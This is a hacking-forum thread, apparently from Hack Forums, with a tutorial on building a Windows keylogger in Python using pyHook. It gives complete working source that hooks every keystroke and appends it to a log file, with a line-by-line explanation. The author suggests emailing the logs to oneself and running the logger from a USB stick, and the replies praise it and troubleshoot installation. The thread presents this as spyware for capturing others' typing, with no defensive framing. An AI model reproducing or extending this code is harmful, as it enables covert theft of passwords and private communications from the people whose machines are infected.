Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] HOW TO MAKE PYTHON KEYLOGGER[TUT]

How To Make a Full Keylogger In Python


Hello all, this is my first tut so sorry if it is not formatted well

What You Need

- Python 3 (I am using 3.6)
- pywin32 module (Get it Here for 64 bit python)
- pywin32 module (Get it here you need to install with pip)
- Computer
- Brain


Make the logging bit


First install both modules. If you get errors then keep reading.

Next we need the code, this is basic logger code to capture key strokes and dump them in a text file
In the python shell click file, then new, then type:

Code
import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\important\\LogFile.txt"
x = time.ctime()
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )


def OnKeyboardEvent(event):
    global x

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")
        
    else :
        with open(date, "a") as f:
            f.write(event.Key)
        
        
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Now let's break it down so you understand what it does if, you're a python pro (don't know why you'd be reading this tut but) then you can skip this.

Code
import pyHook, pythoncom, sys, logging , os , winsound , time

date = "C:\\LogFile.txt"
x = time.ctime()

First we import our modules in line 1
Then we set "date" to the file path, this can be any location, or you can set the path to the location of the file by just putting "LogFile.txt" with no path (this works best for usb sticks more on this later). Last we set x to the current time for logging purposes.

Code
with open(date, "a") as f:
            f.write("\n")
            f.write("[" + x + "] : " )

This just makes it nice and formatted with the date and all that. It will put the date the program is launched not when each key is typed.

Code
def OnKeyboardEvent(event):
    global x

    if event.Key =="Return" :
        with open(date, "a") as f:
            f.write(" {Enter}\n")
    elif event.Key == "Space" :
        with open(date, "a") as f:
            f.write(" ")
    elif event.Key == "Back" :
        with open(date, "a") as f:
            f.write("{Bkspc}")

This section is for formatting in the log, you can add more if you want. Instead of the log showing the key code for backspace it will show "{Bkspc}".

Code
else :
        with open(date, "a") as f:
            f.write(event.Key)

    return True

This writes the key strokes to the log then exits the function.

Code
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

This last bit captures the keys typed and sends then to the previously mentioned function.


But I got errors!
Spoiler (Click to View)


Ok, as it is this keylogger is not to bad, but needs some help.
A great addition is emailing the log to you're email, allowing you to get keystrokes without having to go back to the computer, BUT HF blocks the email code so you will have to do it yourself (I know there are workarounds, but I'm lazy so 😁)
Email docs here

Please add your own functions and let me know, Ill be happy to add them to the thread and credit you!


Make keylogger run from usb
Spoiler (Click to View)


Thanks for reading my tutorial on making a keylogger in python this is my first tut so, leave suggestions below.
I spent a long time making this so please let me know if you liked it.
Is there are other tuts you would like, please pm me or post below.

Credit: Me for the tut and some code, internet for rest.

Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.
[Image: V9Gredc.png]
(Mar 16, 2017 03:20 PM)Malicious Intent Wrote:  Python is not the best choice for keylogger due to its dependencies but you did take a time to write it so i guess thanks for share. I myself wrote a similar logger in python just coz i needed something fast and reliable. I have to say that pyhook works really well and it can intercept virtual keyboard too like in team viewer session and alike.

Yes I wanted to do it with no dependence but sadly could not. I chose python because it's easy to learn.
Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2
(Mar 16, 2017 04:30 PM)llama77 Wrote:  Thanks for sharing I have been looking to make my own keylogger in python 3, most I found were in 2

Glad it helped!
hi Greg8Tacos can we chat plz bro. Skype: Flowers Have Power
I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry


Thank you for making this tut...looking forward to hearing back.
(Mar 18, 2017 01:56 PM)Admi Wrote:  I have wanted to start learning Python...I think this will give me some motivation to start.

I hate having to ask for help; I thought I downloaded the correct pywin version for my 64 bit Python. Am I missing something?

I have python-3.6.0-amd64.exe installed

I downloaded pywin32-220.win-amd64-py.3.6.exe

Cannot install: Python version 3.6-32 required, which was not found in the registry


Thank you for making this tut...looking forward to hearing back.

HI this happened to me as well. Get the regular one and it should work! Hope this clears it up!
Nice tutorial,i'll try it later .
thanks 🤝
(Mar 18, 2017 04:53 PM)Angel Wrote:  Nice tutorial,i'll try it later .
thanks 🤝

Glad I could help!
This shit is perfect bro thanks for share 🤭🤭🤭
No problem, glad it worked well for you!
(Mar 19, 2017 01:07 PM)sh4cl0n3 Wrote:  This shit is perfect bro thanks for share 🤭🤭🤭
Thanks for the share, just what i was after.
Can i PM you a question about python?
(Mar 21, 2017 03:29 AM)Lunatiick Wrote:  Thanks for the share, just what i was after.
Can i PM you a question about python?

Sure ask away, or you can post in the thread.
Thanks for the share mate!


Possibly Related Threads...
Thread / Author Replies Views Last Post
by jeetjain2345Mar 22, 2013 11:51 PM 13 1,133 Mar 22, 2013 11:51 PM
Last Post: jeetjain2345
by Hooded RobinMar 10, 2013 09:11 AM 3 613 Mar 10, 2013 09:11 AM
Last Post: ocean_smith
by Kill4joy KJ-Vulcan ToolsSep 16, 2012 05:49 PM 115 7,224 Sep 16, 2012 05:49 PM
Last Post: lllllllllllllllllllllllll